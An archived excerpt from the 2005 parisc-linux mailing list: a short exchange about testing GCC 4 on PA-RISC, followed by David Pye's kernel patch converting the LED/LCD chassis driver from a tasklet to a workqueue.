Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 837EC7D673
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 09:59:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28051-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 09:59:38 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 15F2E7D671
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 09:59:38 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id EBA8E298059;
	Thu, 24 Mar 2005 09:59:48 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30307-02; Thu, 24 Mar 2005 09:59:47 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8FF90298052; Thu, 24 Mar 2005 09:59:47 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200503241619.j2OGJScZ000411@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /pQwYl5AeSE5+76WZHQhaXN2IGRvb0Ck
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22480

On Thu, Mar 24, 2005 at 11:19:28AM -0500, John David Anglin wrote:
...
> From a PA standpoint, GCC 4 is ready for serious testing.  All testsuite
> bugs have been squashed in C and C++.

Is there a .deb or tarball available I can drop on a bunch of machines?

I'd be happy to test for kernel builds.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 24 Mar 2005 12:35:09 -0500 (EST)
Lines: 35
Approved: news@gmane.org
Message-ID: <200503241735.j2OHZ9q0008488@hiauly1.hia.nrc.ca>
References: <20050324165947.GA29361@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623711 13434 80.91.229.3 (22 Nov 2014 02:35:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2005 17:35:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 24 Mar 2005 18:35:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 168EB7D678;
	Thu, 24 Mar 2005 10:36:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28313-05; Thu, 24 Mar 2005 10:36:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 291627D679;
	Thu, 24 Mar 2005 10:36:56 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC1E07D676
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 10:36:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28313-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 10:36:42 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 31DBC7D671
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 10:36:42 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j2OHZAhF008489; Thu, 24 Mar 2005 12:35:11 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j2OHZ9q0008488;
	Thu, 24 Mar 2005 12:35:09 -0500 (EST)
In-Reply-To: <20050324165947.GA29361@colo.lackof.org> from "Grant Grundler" at
	Mar 24, 2005 09:59:47 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NZ8wYpBreSE5+76WZHQhaXN2IGRvbwCG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22481

> On Thu, Mar 24, 2005 at 11:19:28AM -0500, John David Anglin wrote:
> ...
> > From a PA standpoint, GCC 4 is ready for serious testing.  All testsuite
> > bugs have been squashed in C and C++.
> 
> Is there a .deb or tarball available I can drop on a bunch of machines?

There is a recent build in /home/dave/opt/gnu/gcc/gcc-4.0.0 on gsyprf11.
Unfortunately, it was built using --with-as= and --with-ld=, so it isn't
very portable.  I could do a build with the system's as and ld that
would be more portable.  I'm not setup to generate a .deb that would
be system installable.

You are welcome to try the version in /home/dave/opt/gnu/gcc/gcc-4.0.0.
It's easily turned into a tarball.

> I'd be happy to test for kernel builds.

That would provide useful.  In the past, there usually have been new
features or deprecated features that have caused problems.  4.0 has a
new option, -mfixed_range=, that was introduced so that a small range
of fp registers could be used for the xmpyu multiplication insn.  It
might be useful to experiment with this option to see if it useful.
This was borrowed from ia64.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J5000 LED LCD patch (take 2)
Date: Thu, 24 Mar 2005 18:48:55 +0000
Lines: 522
Approved: news@gmane.org
Message-ID: <200503241848.57598.dmp@davidmpye.dyndns.org>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0519107275=="
X-Trace: ger.gmane.org 1416623711 13435 80.91.229.3 (22 Nov 2014 02:35:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2005 19:08:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 24 Mar 2005 20:08:36 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 685B27D67A;
	Thu, 24 Mar 2005 11:50:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28704-05; Thu, 24 Mar 2005 11:50:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6AB7B7D67B;
	Thu, 24 Mar 2005 11:50:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E8EC7D679
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 11:50:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28704-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 11:50:30 -0700 (MST)
Original-Received: from blaster.systems.pipex.net (blaster.systems.pipex.net
	[62.241.163.7])
	by free.linux.hp.com (Postfix) with ESMTP id 1817A7D62A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 11:50:30 -0700 (MST)
Original-Received: from platinum (81-86-96-140.dsl.pipex.com [81.86.96.140])
	by blaster.systems.pipex.net (Postfix) with ESMTP id 92CABE0001FB
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 18:48:58 +0000 (GMT)
User-Agent: KMail/1.7.2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YnUxYnRSeSE5+76WZHQhaXN2IGRvb0C+
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22482

--===============0519107275==
Content-Type: multipart/signed; boundary="nextPart1386773.uFWCL5yrOW";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart1386773.uFWCL5yrOW
Content-Type: multipart/mixed;
  boundary="Boundary-01=_YuwQCYduMr9ZcrP"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

--Boundary-01=_YuwQCYduMr9ZcrP
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Hi,

Attached is the latest iteration of my patch, with the feedback from Grant=
=20
Grundler incorporated (hopefully!)

The other changes are:

Adjust the scheduling so the work queue item runs only every 5 jiffies,=20
instead of each one (as per the original tasklet). This means we can do a=20
couple more calculations, and still hopefully be ahead in the efficiency=20
stakes.

Set and enforce a minimum on-time for LEDs - this prevents the LCD ones=20
'ghosting' under rapid LAN/IO on/off. This also applies to LED systems too.=
=20
The minimum on-time is currently 100mS - feedback welcome as to whether thi=
s=20
should be made LCD-only, or adjusted up/downwards. (This is necessary becau=
se=20
once the min_cmd_delay has been taken into effect, rapidly fluttering LAN/I=
O=20
lcd symbols cause the heartbeat to stutter slightly).

On my J5000, this gives a perfectly uniform heartbeat regardless of lan/io=
=20
activity, and also prevents the lan/io symbols ghosting during continuous=20
traffic.

As before, comments/suggestions welcome!

Cheers,

David

--Boundary-01=_YuwQCYduMr9ZcrP
Content-Type: text/x-diff;
  charset="us-ascii";
  name="led_lcd_patch"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="led_lcd_patch"

diff -urpN linux-2.6.12-rc1-pa2/arch/parisc/kernel/time.c worktree/arch/par=
isc/kernel/time.c
=2D-- linux-2.6.12-rc1-pa2/arch/parisc/kernel/time.c	2004-10-21 19:58:24.00=
0000000 +0100
+++ worktree/arch/parisc/kernel/time.c	2005-03-24 01:04:32.000000000 +0000
@@ -89,14 +89,6 @@ irqreturn_t timer_interrupt(int irq, voi
 		}
 	}
    =20
=2D#ifdef CONFIG_CHASSIS_LCD_LED
=2D	/* Only schedule the led tasklet on cpu 0, and only if it
=2D	 * is enabled.
=2D	 */
=2D	if (cpu =3D=3D 0 && !atomic_read(&led_tasklet.count))
=2D		tasklet_schedule(&led_tasklet);
=2D#endif
=2D
 	/* check soft power switch status */
 	if (cpu =3D=3D 0 && !atomic_read(&power_tasklet.count))
 		tasklet_schedule(&power_tasklet);
diff -urpN linux-2.6.12-rc1-pa2/drivers/parisc/led.c worktree/drivers/paris=
c/led.c
=2D-- linux-2.6.12-rc1-pa2/drivers/parisc/led.c	2005-03-18 13:17:10.0000000=
00 +0000
+++ worktree/drivers/parisc/led.c	2005-03-24 01:07:08.000000000 +0000
@@ -18,6 +18,9 @@
  * Changes:
  *      - Audit copy_from_user in led_proc_write.
  *                                Daniele Bellucci <bellucda@tiscali.it>
+ *	- Switch from using a tasklet to a work queue, so the led_LCD_driver
+ *	  	can sleep.
+ *	  			  David Pye <dmp@davidmpye.dyndns.org>
  */
=20
 #include <linux/config.h>
@@ -37,6 +40,7 @@
 #include <linux/proc_fs.h>
 #include <linux/ctype.h>
 #include <linux/blkdev.h>
+#include <linux/workqueue.h>
 #include <asm/io.h>
 #include <asm/processor.h>
 #include <asm/hardware.h>
@@ -46,9 +50,9 @@
 #include <asm/uaccess.h>
=20
 /* The control of the LEDs and LCDs on PARISC-machines have to be done=20
=2D   completely in software. The necessary calculations are done in a task=
let
=2D   which is scheduled at every timer interrupt and since the calculation=
s=20
=2D   may consume relatively much CPU-time some of the calculations can be=
=20
+   completely in software. The necessary calculations are done in a work q=
ueue
+   task which is scheduled regularly, and since the calculations may consu=
me a=20
+   relatively large amount of CPU time, some of the calculations can be=20
    turned off with the following variables (controlled via procfs) */
=20
 static int led_type =3D -1;
@@ -58,13 +62,16 @@ static int led_lanrxtx =3D 1;
 static char lcd_text[32];
 static char lcd_text_default[32];
=20
+static struct workqueue_struct *led_wq;
+static void led_work_func(void *);
+static DECLARE_WORK(led_task, led_work_func, NULL);
+
 #if 0
 #define DPRINTK(x)	printk x
 #else
 #define DPRINTK(x)
 #endif
=20
=2D
 struct lcd_block {
 	unsigned char command;	/* stores the command byte      */
 	unsigned char on;	/* value for turning LED on     */
@@ -115,12 +122,24 @@ lcd_info __attribute__((aligned(8))) =3D
 #define LCD_DATA_REG	lcd_info.lcd_data_reg_addr	=20
 #define LED_DATA_REG	lcd_info.lcd_cmd_reg_addr	/* LASI & ASP only */
=20
+#define LED_HASLCD 1
+#define LED_NOLCD  0
+
+/* The workqueue must be created at init-time */
+static int start_task(void)=20
+{=09
+	/* Create the work queue and queue the LED task */
+	led_wq =3D create_singlethread_workqueue("led_wq");=09
+	queue_work(led_wq, &led_task);
+
+	return 0;
+}
+
+device_initcall(start_task);
=20
 /* ptr to LCD/LED-specific function */
 static void (*led_func_ptr) (unsigned char);
=20
=2D#define LED_HASLCD 1
=2D#define LED_NOLCD  0
 #ifdef CONFIG_PROC_FS
 static int led_proc_read(char *page, char **start, off_t off, int count,=20
 	int *eof, void *data)
@@ -285,53 +304,41 @@ static void led_LASI_driver(unsigned cha
 /*
    **=20
    ** led_LCD_driver()
=2D   **=20
=2D   ** The logic of the LCD driver is, that we write at every scheduled c=
all
=2D   ** only to one of LCD_CMD_REG _or_ LCD_DATA_REG - registers.
=2D   ** That way we don't need to let this tasklet busywait for min_cmd_de=
lay
=2D   ** milliseconds.
=2D   **
=2D   ** TODO: check the value of "min_cmd_delay" against the value of HZ.
    **  =20
  */
 static void led_LCD_driver(unsigned char leds)
 {
=2D	static int last_index;	/* 0:heartbeat, 1:disk, 2:lan_in, 3:lan_out */
=2D	static int last_was_cmd;/* 0: CMD was written last, 1: DATA was last */
=2D	struct lcd_block *block_ptr;
=2D	int value;
=2D
=2D	switch (last_index) {
=2D	    case 0:	block_ptr =3D &lcd_info.heartbeat;
=2D			value =3D leds & LED_HEARTBEAT;
=2D			break;
=2D	    case 1:	block_ptr =3D &lcd_info.disk_io;
=2D			value =3D leds & LED_DISK_IO;
=2D			break;				=09
=2D	    case 2:	block_ptr =3D &lcd_info.lan_rcv;
=2D			value =3D leds & LED_LAN_RCV;
=2D			break;				=09
=2D	    case 3:	block_ptr =3D &lcd_info.lan_tx;
=2D			value =3D leds & LED_LAN_TX;
=2D			break;
=2D	    default:	/* should never happen: */
=2D			return;
=2D	}
+	static int lastleds, i;
+	static unsigned char mask[4] =3D { LED_HEARTBEAT, LED_DISK_IO,
+		LED_LAN_RCV, LED_LAN_TX };
+=09
+	static struct lcd_block * blockp[4] =3D {
+		&lcd_info.heartbeat,
+		&lcd_info.disk_io,
+		&lcd_info.lan_rcv,
+		&lcd_info.lan_tx
+	};
=20
=2D	if (last_was_cmd) {
=2D	    /* write the value to the LCD data port */
=2D    	    gsc_writeb( value ? block_ptr->on : block_ptr->off, LCD_DATA_RE=
G );
=2D	} else {
=2D	    /* write the command-byte to the LCD command register */
=2D    	    gsc_writeb( block_ptr->command, LCD_CMD_REG );
=2D	}   =20
=2D=09
=2D	/* now update the vars for the next interrupt iteration */=20
=2D	if (++last_was_cmd =3D=3D 2) { /* switch between cmd & data */
=2D	    last_was_cmd =3D 0;
=2D	    if (++last_index =3D=3D 4)=20
=2D		last_index =3D 0;	 /* switch back to heartbeat index */
+	/* Convert min_cmd_delay (uS) to jiffies */
+	unsigned long wait_jiffies =3D 1 + (lcd_info.min_cmd_delay * HZ) / 100000=
0;
+
+	for (i=3D0; i<4; ++i)=20
+	{
+		if ((leds & mask[i]) !=3D (lastleds & mask[i]))=20
+		{
+			gsc_writeb( blockp[i]->command, LCD_CMD_REG );
+		=09
+			set_current_state(TASK_UNINTERRUPTIBLE);	=09
+			schedule_timeout(wait_jiffies);=09
+
+			gsc_writeb( leds & mask[i] ? blockp[i]->on :=20
+					blockp[i]->off, LCD_DATA_REG );
+		=09
+			set_current_state(TASK_UNINTERRUPTIBLE);	=09
+			schedule_timeout(wait_jiffies);=09
+		}
 	}
+	lastleds =3D leds;
 }
=20
=20
@@ -355,7 +362,7 @@ static __inline__ int led_get_net_activi
=20
 	rx_total =3D tx_total =3D 0;
 =09
=2D	/* we are running as tasklet, so locking dev_base=20
+	/* we are running as a workqueue task, so locking dev_base=20
 	 * for reading should be OK */
 	read_lock(&dev_base_lock);
 	for (dev =3D dev_base; dev; dev =3D dev->next) {
@@ -417,10 +424,9 @@ static __inline__ int led_get_diskio_act
=20
=20
 /*
=2D   ** led_tasklet_func()
+   ** led_work_func()
    **=20
=2D   ** is scheduled at every timer interrupt from time.c and
=2D   ** updates the chassis LCD/LED=20
+   ** is scheduled every 5 jiffies and updates the chassis LCD/LED=20
=20
     TODO:
     - display load average (older machines like 715/64 have 4 "free" LED's=
 for that)
@@ -431,66 +437,102 @@ static __inline__ int led_get_diskio_act
 #define HEARTBEAT_2ND_RANGE_START (HZ*22/100)
 #define HEARTBEAT_2ND_RANGE_END   (HEARTBEAT_2ND_RANGE_START + HEARTBEAT_L=
EN)
=20
=2D#define NORMALIZED_COUNT(count) (count/(HZ/100))
+#define LED_MINIMUM_ON_TIME (HZ*10/100)
=20
=2Dstatic void led_tasklet_func(unsigned long unused)
+static void led_work_func (void *unused)
 {
 	static unsigned char lastleds;
=2D	unsigned char currentleds; /* stores current value of the LEDs */
=2D	static unsigned long count; /* static incremented value, not wrapped */
 	static unsigned long count_HZ; /* counter in range 0..HZ */
=20
+	static unsigned long diskio_on_jiffies;
+	static unsigned long lantx_on_jiffies;
+	static unsigned long lanrcv_on_jiffies;
+
+	unsigned char currentleds =3D 0; /* stores current value of the LEDs */
+=09
 	/* exit if not initialized */
 	if (!led_func_ptr)
 	    return;
=20
=2D	/* increment the local counters */
=2D	++count;
=2D	if (++count_HZ =3D=3D HZ)
+	/* increment the local counter */
+	count_HZ +=3D 5;
+	if (count_HZ =3D=3D HZ)
 	    count_HZ =3D 0;
=20
=2D	currentleds =3D lastleds;
=2D
 	if (led_heartbeat)
 	{
 		/* flash heartbeat-LED like a real heart (2 x short then a long delay) */
 		if (count_HZ<HEARTBEAT_LEN ||=20
 		    (count_HZ>=3DHEARTBEAT_2ND_RANGE_START && count_HZ<HEARTBEAT_2ND_RAN=
GE_END))=20
 		    currentleds |=3D LED_HEARTBEAT;
=2D		else
=2D		    currentleds &=3D ~LED_HEARTBEAT;
 	}
=20
=2D	/* look for network activity and flash LEDs respectively */
=2D	if (led_lanrxtx && ((NORMALIZED_COUNT(count)+(8/2)) & 7) =3D=3D 0)
+	/* If the leds are on, but should be turned off, make sure they have been=
 on for
+	 * the minimum time, to prevent 'flutter'=20
+	 */
+
+	/* look for network activity and flash LEDs accordingly */
+	if (led_lanrxtx)
 	{
=2D		currentleds &=3D ~(LED_LAN_RCV | LED_LAN_TX);
=2D		currentleds |=3D led_get_net_activity();
+		unsigned char new_lan_leds =3D led_get_net_activity();
+=09
+		/* TX LED */
+		if (new_lan_leds & LED_LAN_TX)=20
+		{
+			currentleds |=3D LED_LAN_TX;
+			lantx_on_jiffies =3D jiffies;
+		}
+		else if (lastleds & LED_LAN_TX && time_before(jiffies, lantx_on_jiffies =
+ LED_MINIMUM_ON_TIME))
+		{
+			currentleds |=3D LED_LAN_TX;
+		}
+	=09
+		/* RCV LED */
+
+		if (new_lan_leds & LED_LAN_RCV)=20
+		{
+			currentleds |=3D LED_LAN_RCV;
+			lanrcv_on_jiffies =3D jiffies;
+		}
+		else if (lastleds & LED_LAN_RCV && time_before(jiffies, lanrcv_on_jiffie=
s + LED_MINIMUM_ON_TIME))=20
+		{
+			currentleds |=3D LED_LAN_RCV;
+		}
 	}
=20
=2D	/* avoid to calculate diskio-stats at same irq  as netio-stats */
=2D	if (led_diskio && (NORMALIZED_COUNT(count) & 7) =3D=3D 0)
+	/* Calculate disk IO */
+	if (led_diskio)
 	{
=2D		currentleds &=3D ~LED_DISK_IO;
=2D		currentleds |=3D led_get_diskio_activity();
+		unsigned char new_io_led =3D led_get_diskio_activity();
+	=09
+		if (new_io_led & LED_DISK_IO)=20
+		{
+			currentleds |=3D LED_DISK_IO;
+			diskio_on_jiffies =3D jiffies;
+		}
+		else if (lastleds & LED_DISK_IO && time_before(jiffies, diskio_on_jiffie=
s + LED_MINIMUM_ON_TIME))=20
+		{
+			currentleds |=3D LED_DISK_IO;
+		}
 	}
=20
 	/* blink all LEDs twice a second if we got an Oops (HPMC) */
=2D	if (oops_in_progress) {
+	if (oops_in_progress)=20
+	{
 		currentleds =3D (count_HZ<=3D(HZ/2)) ? 0 : 0xff;
 	}
 =09
 	/* update the LCD/LEDs */
=2D	if (currentleds !=3D lastleds) {
=2D	    led_func_ptr(currentleds);
=2D	    lastleds =3D currentleds;
+	if (currentleds !=3D lastleds)
+	{
+		led_func_ptr(currentleds);
+		lastleds =3D currentleds;
 	}
+=09
+	/* Requeue ourself to run in 5 jiffies */=09
+	queue_delayed_work(led_wq, &led_task, 5);
 }
=20
=2D/* main led tasklet struct (scheduled from time.c) */
=2DDECLARE_TASKLET_DISABLED(led_tasklet, led_tasklet_func, 0);
=2D
=2D
 /*
    ** led_halt()
    **=20
@@ -519,9 +561,13 @@ static int led_halt(struct notifier_bloc
 	default:		return NOTIFY_DONE;
 	}
 =09
=2D	/* completely stop the LED/LCD tasklet */
=2D	tasklet_disable(&led_tasklet);
=2D
+	/* Cancel the work item and delete the queue */
+	if (led_wq) {
+		if (cancel_delayed_work(&led_task) =3D=3D 0)=20
+			flush_workqueue(led_wq);
+		destroy_workqueue(led_wq);
+	}
+=20
 	if (lcd_info.model =3D=3D DISPLAY_MODEL_LCD)
 		lcd_print(txt);
 	else
@@ -586,9 +632,6 @@ int __init register_led_driver(int model
 	initialized++;
 	register_reboot_notifier(&led_notifier);
=20
=2D	/* start the led tasklet for the first time */
=2D	tasklet_enable(&led_tasklet);
=2D=09
 	return 0;
 }
=20
@@ -623,7 +666,7 @@ void __init register_led_regions(void)
    ** lcd_print()
    **=20
    ** Displays the given string on the LCD-Display of newer machines.
=2D   ** lcd_print() disables the timer-based led tasklet during its=20
+   ** lcd_print() disables the timer-based led work task during its=20
    ** execution and enables it afterwards again.
    **
  */
@@ -634,8 +677,13 @@ int lcd_print( char *str )
 	if (!led_func_ptr || lcd_info.model !=3D DISPLAY_MODEL_LCD)
 	    return 0;
 =09
=2D	/* temporarily disable the led tasklet */
=2D	tasklet_disable(&led_tasklet);
+	/* temporarily disable the led work task */
+	if (led_wq) {
+		if (cancel_delayed_work(&led_task) =3D=3D 0)=20
+			flush_workqueue(led_wq);
+	}
+ 	/* copy display string to buffer for procfs */
+ 	strlcpy(lcd_text, str, sizeof(lcd_text));
=20
 	/* copy display string to buffer for procfs */
 	strlcpy(lcd_text, str, sizeof(lcd_text));
@@ -653,8 +701,10 @@ int lcd_print( char *str )
 	    udelay(lcd_info.min_cmd_delay);
 	}
 =09
=2D	/* re-enable the led tasklet */
=2D	tasklet_enable(&led_tasklet);
+	/* re-queue the work */
+	if (led_wq) {
+		queue_work(led_wq, &led_task);
+	}
=20
 	return lcd_info.lcd_width;
 }
diff -urpN linux-2.6.12-rc1-pa2/include/asm-parisc/led.h worktree/include/a=
sm-parisc/led.h
=2D-- linux-2.6.12-rc1-pa2/include/asm-parisc/led.h	2004-12-30 08:07:48.000=
000000 +0000
+++ worktree/include/asm-parisc/led.h	2005-03-24 01:04:54.000000000 +0000
@@ -23,9 +23,6 @@
=20
 #define LED_CMD_REG_NONE 0		/* NULL =3D=3D no addr for the cmd register */
=20
=2D/* led tasklet struct */
=2Dextern struct tasklet_struct led_tasklet;
=2D
 /* register_led_driver() */
 int __init register_led_driver(int model, unsigned long cmd_reg, unsigned =
long data_reg);
=20

--Boundary-01=_YuwQCYduMr9ZcrP--

